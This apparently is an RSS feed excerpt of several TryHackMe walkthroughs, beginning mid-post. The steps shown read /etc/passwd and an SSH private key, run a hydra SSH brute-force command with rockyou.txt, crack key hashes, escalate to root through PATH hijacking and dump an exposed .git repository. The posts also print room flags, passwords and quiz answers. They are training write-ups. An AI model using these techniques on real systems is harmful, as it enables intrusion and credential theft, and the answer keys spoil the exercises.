Writeups&lt;/com&gt;<br>&lt;/comment&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*ZTkG3hv8ihVfTp6RYP0DPw.png" /></figure><p>It works and was successfully able to read the context of /etc/passwd file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G_7qYRHBhe9ekTManghkbw.png" /></figure><p>As we have seen before in source code and know that there is user barry he is able to login in ssh. now all have to do is get the barry key and login in ssh as barry .</p><p>Path of key : /home/barry/.ssh/id_rsa</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*SI7XcA0hD68ci2ha6T9ctQ.jpeg" /></figure><p>we get the key !!!! now copy this key in a file then we convert this key into a hash afterward will crack the hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*IhSo6GmbB9IojAkXUa8UjA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*6KdLmc5pUAUdzlbGdRsckA.png" /></figure><p>The next step is to connect to SSH using the key, need to modify the permissions otherwise it will be rejected as a key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*CD6BoIVGLVXRQ0w1nEBb9Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/304/1*iVgDTbAWzuI1Mpm1KuKnUw.jpeg" /></figure><p>user flag: 62d77a4d5f97d47c5aa38b3b2651b831</p><p>Since we have exploited the machine, it’s time to elevate the current privileges and get the root user access. We start by enumerating the SUID permission using the find command. We found a file inside the home directory of joe user by the name of live_log.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*jzsV-3WRBG71jchfcy_tmg.png" /></figure><p>Since we will be able to execute the live_log file, we used the strings command to take a closer look at this binary file. We found that this binary file runs the tail command without using its absolute path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*PUrpIHJBEHhRf9zLwm2hlA.png" /></figure><p>Now go to <strong>/tmp</strong> folder and create a file named with <strong>tail,</strong>change the permission,Now add <strong>/tmp</strong> path to <strong>$PATH</strong> environment. Now run the <strong>/home/joe/live_log</strong> you’ll get root privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*vF0SQMACHB2GU7r1hkJVIQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3acd8ea08d8f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme: Basic Pentesting Walkthrough by Akash]]></title>
            <link>https://medium.com/@akashsharma_61397/tryhackme-basic-pentesting-walkthrough-by-akash-80ff0a038394?source=rss-1a677de27ef0------2</link>
            <guid isPermaLink="false">https://medium.com/p/80ff0a038394</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[stories]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Akash Sharma]]></dc:creator>
            <pubDate>Mon, 20 Dec 2021 12:24:06 GMT</pubDate>
            <atom:updated>2021-12-20T12:24:06.944Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Hello Everyone, this is a new room created by Tryhackme. This is a machine that lets u practice Brute-forcing, Hash-cracking, Service enumeration, Linux enumeration.</p><h4><strong>Enumeration</strong></h4><p>Nmap -A &lt;ipaddress&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*Rpa1nxhujXR2ZhxLeZ8DSg.jpeg" /></figure><p>The scan has identified port 22 (SSH), 80 (HTTP), 139 (NetBIOS) ,445 (SMB), 8009 (HTTP) and 8080 (HTTP), the next step is to start enumerating HTTP. Acess this IP in web browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*PAu0rsD2swb7_ZWb1AJFvw.jpeg" /></figure><p>The next step is to run a scan to find hidden files or directories using Dirbuster. you can use others like dirb,gobuster etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*hj1Qmjmc5h0-YMHSPdwaOw.jpeg" /></figure><h4>What is the name of the hidden directory on the web server(enter name without /)?</h4><p>Answer: development</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*pK98t7Xjp_YmvLxMc6CyXg.jpeg" /></figure><p>As we seen in nmap result smb is running let’s try Using the SMBClient tool to list open shares through NULL session:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*vUZZF5IBySMiLT0go2Ifuw.jpeg" /></figure><p>It appears there is an “Anonymous” share. When connecting to it, a staff.txt file can be seen:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*PHtyY5GEfkDXId5Q09qvfw.jpeg" /></figure><p>use (get command) to download staff.txt file in our local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*Gnq4TKNd7PGJ0uFTzYJ37g.png" /></figure><h4>What is the username?</h4><p>Answer: jan</p><p>The file mentions Jan and Kay, so these usernames could be used to perform a brute-force attack against the SSH service on target machine.</p><p>We use hydra to brute-force password using following command</p><p>hydra -l jan -f -P /usr/share/wordlists/rockyou.txt ssh://10.10.135.156 -t 16</p><ul><li>-l: username</li><li>-f: to stop the attack when a valid password is found</li><li>-P: specify the wordlist to use brute-force</li><li>service &amp;&amp; target</li><li>-t 16 ( to perform faster ) for normal use -t4.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*lwNvvYKjTQ_leT7P_CO4aw.jpeg" /></figure><h4>What is the password?</h4><p>Answer: armando</p><h4>What service do you use to access the server(answer in abbreviation in all caps)?</h4><p>Answer: SSH</p><h4>What is the name of the other user you found(all lower case)?</h4><p>Answer: kay</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*bqJWi2APfm1gY9ojwJdHJg.jpeg" /></figure><p>Now for the last part.</p><h3>Privilege Escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*456oCMfZaZGEkTW8o5JCTw.jpeg" /></figure><p>In order to read the password backup file, we have to escalate the privileges.</p><p>After exploring a bit more Kay’s directories we found ssh keys</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*77HOrtbMt0SPl7RhZR-vNQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*PeqAmUwrF_YV_QFlPKMQxA.jpeg" /></figure><p>Now copy the key to a file in the local Kali machine: starting from( — -Begin to very end — -end rsa)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*J5XpOLuv0wDSw7EiClAkZw.jpeg" /></figure><p>now locate the tool name john2ssh and extract the hash out of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*1OfU60z9YtCJrT4Ehrm-7A.jpeg" /></figure><p>Using the john the ripper to crack the hash we found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*bsnc7kD0cbQ7E-0N5rFi4w.jpeg" /></figure><p>The hash was cracked successfully. Logging into the machine as kay: using password beeswax.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*dozm_rK4uc0O-xIsw31isA.jpeg" /></figure><h4>What is the final password you obtain?</h4><p>Answer: heresareallystrongpasswordthatfollowsthepasswordpolicy$$</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=80ff0a038394" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Git Happens: Tryhackme Walkthrough by Akash]]></title>
            <link>https://medium.com/@akashsharma_61397/git-happens-tryhackme-walkthrough-by-akash-c45275d04d43?source=rss-1a677de27ef0------2</link>
            <guid isPermaLink="false">https://medium.com/p/c45275d04d43</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[knowledge]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Akash Sharma]]></dc:creator>
            <pubDate>Sun, 19 Dec 2021 15:34:41 GMT</pubDate>
            <atom:updated>2021-12-19T15:34:41.554Z</atom:updated>
            <content:encoded><![CDATA[<p>Boss wanted me to create a prototype, so here it is! We even used something called “version control” that made deploying this really easy! <a href="https://tryhackme.com/room/githappens">Link</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XVKLzDVOGyRr1pMPfsxzPg.jpeg" /></figure><h3>Task 1 Capture the Flag</h3><p>Find the Super Secret Password</p><h3><strong>STEPS</strong>:</h3><p><strong>Nmap Discovery</strong></p><p>Start gathering more information and knowing about the machine-like open ports, services running, their version number, OS-info will help to move forward to find vulnerability about the machine.</p><p><strong>command-use: nmap -v -A 10.10.52.113</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*sDNehxjg228bGxl_wZ-qGw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*ero77pC8w37I0PywAm7xqw.jpeg" /></figure><p>Reading nmap result we can see only one open port 80 services running http, it also finds .git repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*x5EIWP9hScoA0cKL_hQTKQ.jpeg" /></figure><p>visit this page ipofmachine/.git</p><p>Git tools can be very helpful for us. It contains gitdumper.sh script that can be used to pull&amp;&amp;copy git repository to our very own machine. you can download the tool from this &lt;&lt;<a href="https://github.com/internetwache/GitTools.git/">link</a>&gt;&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*6x3zeEo65WHSevR7s6dj4A.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*4yW07p8WX9rkSF9Aa-m2zg.jpeg" /></figure><p>command to use : ./gitdumper.sh <a href="http://10.10.171.85/.git/">http://10.10.171.85/.git/</a> clone</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*OhuGP9JWy8Dsik6JBmL9qg.jpeg" /></figure><p>command to use : git log</p><p>hard press on enter scroll down to the very bottom of the log file and copy the commit_id : 395e087334d613d5e423cdf8f7be27196a360459</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*LkHrMbNCDmJVxlKSryZY_g.jpeg" /></figure><p>use git show commit_id command to see what was committed, it will show the code ( note ::to exit out press q (quit)).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*eiBbk1VF3fl_MXqusv511g.jpeg" /></figure><p>Repeat same go to the very bottom and will see the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*0pYPPH-pR4KwxmcItFOR9g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*cWtEvpidKV7AUjEUdm9dyg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c45275d04d43" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme : Juicy Details Writeup]]></title>
            <link>https://medium.com/@akashsharma_61397/tryhackme-juicy-details-writeup-677a90e4974f?source=rss-1a677de27ef0------2</link>
            <guid isPermaLink="false">https://medium.com/p/677a90e4974f</guid>
            <category><![CDATA[education]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[books]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Akash Sharma]]></dc:creator>
            <pubDate>Sun, 19 Dec 2021 09:22:56 GMT</pubDate>
            <atom:updated>2021-12-19T09:26:17.236Z</atom:updated>
            <content:encoded><![CDATA[<h3>Tryhackme : Juicy Details Writeup By Akash</h3><p>A popular juice shop has been breached! Analyze the logs to see what had happened…</p><h3><strong>Task 1 Introduction</strong></h3><p>You were hired as a SOC Analyst for one of the biggest Juice Shops in the world and an attacker has made their way into your network.</p><p>An IT team has sent you a <strong>zip file</strong> containing logs from the server. Download the attached file, type in “I am ready!” and get to work! There’s no time to lose!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/1*cHwVCZPvwYinXF_yv-drrw.jpeg" /></figure><p><strong>Are you ready?</strong></p><p><em>Answer: I am ready!</em></p><h3><strong>Task 2 Reconnaissance</strong></h3><p>What tools did the attacker use? (Order by the occurrence in the log)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*Q6lDUW3cI_1YpIwkMpRrJw.jpeg" /></figure><p><em>Answer: nmap, hydra, sqlmap, curl, feroxbuster.</em></p><p>What endpoint was vulnerable to a brute-force attack?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*nX2vDJMDn1gmLKf31VWQxA.jpeg" /></figure><p><em>Answer: /rest/user/login</em></p><p>What endpoint was vulnerable to SQL injection?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*17fUUYSU6_DoXhiQjRrieQ.jpeg" /></figure><p><em>Answer: /rest/products/search</em></p><p>What parameter was used for the SQL injection?</p><p><em>Answer: q</em></p><p>What endpoint did the attacker try to use to retrieve files? (Include the /)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LImlG1OV_4lkltEFNiEXFA.jpeg" /></figure><p><em>Answer: /ftp</em></p><h3><strong>Task 3 Stolen data</strong></h3><p>What section of the website did the attacker use to scrape user email addresses?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*5KAxWHNiBqRGkNhV4RsdBg.jpeg" /></figure><p><em>Answer: product reviews (check hint there u get the idea)</em></p><p>Was their brute-force attack successful? If so, what is the timestamp of the successful login? (Yay/Nay, 11/Apr/2021:09:xx:xx +0000)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*HatW8IEoCYTzrJefsPU51w.jpeg" /></figure><p>Answer: Yay, 11/Apr/2021:09:16:31 +0000 ( check for status code 200 easier way to find out)</p><p>What user information was the attacker able to retrieve from the endpoint vulnerable to SQL injection?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LagPi2U-dL9OfgTkEXzuNQ.jpeg" /></figure><p><em>Answer: email, password (tryna think logically whenever we perform sql injection out main priority is to get an email, password, username, etc.</em></p><p>What files did they try to download from the vulnerable endpoint? (endpoint from the previous task, question #5)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*75EhHQ9sK_NhVIM-gEoAeg.jpeg" /></figure><p><em>Answer: coupons_2013.md.bak, www-data.bak</em></p><p>What service and account name were used to retrieve files from the previous question? (service, username)</p><p><em>Answer: ftp, anonymous ( read </em>vsftpd.log )</p><p>What service and username were used to gain shell access to the server? (service, username)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*5Naznz8HgBh1IW-SL8OirQ.jpeg" /></figure><p><em>Answer: ssh, www-data</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=677a90e4974f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>